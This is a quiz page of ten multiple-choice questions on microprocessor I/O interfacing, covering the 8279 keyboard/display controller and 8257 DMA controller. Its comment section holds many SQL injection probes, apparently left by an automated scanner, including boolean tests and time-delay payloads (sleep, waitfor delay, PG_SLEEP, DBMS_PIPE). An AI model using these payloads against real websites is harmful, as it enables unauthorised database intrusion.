Microprocessor I/O Interfacing MCQ Questions

This section focuses on "I/O Interfacing" in Microprocessor. These Multiple Choice Questions (MCQ) should be practiced to improve the Microprocessor skills required for various interviews (campus interview, walk-in interview, company interview), placements, entrance exams and other competitive examinations.

1. How many types of Interfacing?

A. 2
B. 3
C. 4
D. 5

View Answer


2. In which type of communication, the interface gets a single byte of data from the microprocessor and sends it bit by bit to the other system serially and vice-a-versa?

A. Parallel Communication Interface
B. Serial Communication Interface
C. Both A and B
D. None of the above

View Answer


3. Which of the following are known as Higher Address Bus?

A. A15 - A8
B. AD7 - AD0
C. READY
D. WR

View Answer


4. In which mode, the CPU periodically reads an internal flag of 8279 to check whether any key is pressed or not with key pressure?

A. Interrupt mode
B. Polled mode
C. Decoded Mode
D. Encoded Mode

View Answer


5. What is true about Encoded Mode?

A. the unit contains registers to store the keyboard, display modes
B. the counter internally decodes the least significant 2 bits and provides a decoded 1 out of 4 scan on SL0-SL3.
C. the processor is requested service only if any key is pressed, otherwise the CPU will continue with its main task.
D. the counter provides the binary count that is to be externally decoded to provide the scan lines for the keyboard and display.

View Answer


6. Which pin is used to blank the display during digit switching?

A. WR
B. IR
C. BD
D. DB

View Answer


7. Which mode allows 8/16 character multiplexed displays to be organized as dual 4-bit/single 8-bit display units?

A. Display Entry
B. Display Scan
C. Strobed Input
D. Scanned Keyboard Mode

View Answer


8. DMA stands for?

A. Display Memory Access
B. Directly Memory Access
C. Device Memory Access
D. Direct Memory Access

View Answer


9. Which of the following is not true features of 8257?

A. It has three channels which can be used over three I/O devices.
B. Each channel has 16-bit address and 14-bit counter.
C. Each channel can transfer data up to 64kb.
D. Each channel can be programmed independently.

View Answer


10. What is correct range of frequency for 8257?

A. 500Hz to 3MHz.
B. 250Hz to 2MHz.
C. 250Hz to 3MHz.
D. 500Hz to 2MHz.

View Answer





Discussion



* You must be logged in to add comment.

pHqghUme
555

pHqghUme
555

pHqghUme
555

pHqghUme
-1 OR 2+659-659-1=0+0+0+1 --

pHqghUme
-1 OR 3+659-659-1=0+0+0+1 --

pHqghUme
-1 OR 3*2<(0+5+659-659) --

pHqghUme
-1 OR 3*2>(0+5+659-659) --

pHqghUme
-1 OR 2+571-571-1=0+0+0+1

pHqghUme
-1 OR 3+571-571-1=0+0+0+1

pHqghUme
-1 OR 3*2<(0+5+571-571)

pHqghUme
-1 OR 3*2>(0+5+571-571)

pHqghUme
-1' OR 2+467-467-1=0+0+0+1 --

pHqghUme
-1' OR 3+467-467-1=0+0+0+1 --

pHqghUme
-1' OR 3*2<(0+5+467-467) --

pHqghUme
-1' OR 3*2>(0+5+467-467) --

pHqghUme
-1' OR 2+283-283-1=0+0+0+1 or 'buY4mS6u'='

pHqghUme
-1' OR 3+283-283-1=0+0+0+1 or 'buY4mS6u'='

pHqghUme
-1' OR 3*2<(0+5+283-283) or 'buY4mS6u'='

pHqghUme
-1' OR 3*2>(0+5+283-283) or 'buY4mS6u'='

pHqghUme
-1" OR 2+767-767-1=0+0+0+1 --

pHqghUme
-1" OR 3+767-767-1=0+0+0+1 --

pHqghUme
-1" OR 3*2<(0+5+767-767) --

pHqghUme
-1" OR 3*2>(0+5+767-767) --

pHqghUme
if(now()=sysdate(),sleep(15),0)

pHqghUme
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

pHqghUme
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

pHqghUme
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

pHqghUme
-1; waitfor delay '0:0:15' --

pHqghUme
-1); waitfor delay '0:0:15' --

pHqghUme
1 waitfor delay '0:0:15' --

pHqghUme
uLp9dPNe'; waitfor delay '0:0:15' --

pHqghUme
-5 OR 899=(SELECT 899 FROM PG_SLEEP(15))--

pHqghUme
-5) OR 563=(SELECT 563 FROM PG_SLEEP(15))--

pHqghUme
-1)) OR 758=(SELECT 758 FROM PG_SLEEP(15))--

pHqghUme
QLDaVFVI' OR 857=(SELECT 857 FROM PG_SLEEP(15))--

pHqghUme
0PQADf0Y') OR 433=(SELECT 433 FROM PG_SLEEP(15))--

pHqghUme
UzNlWD0L')) OR 186=(SELECT 186 FROM PG_SLEEP(15))--

pHqghUme
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

pHqghUme
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

pHqghUme
1'"

pHqghUme

pHqghUme
@@gHkoK

pHqghUme
555

pHqghUme
555

pHqghUme
555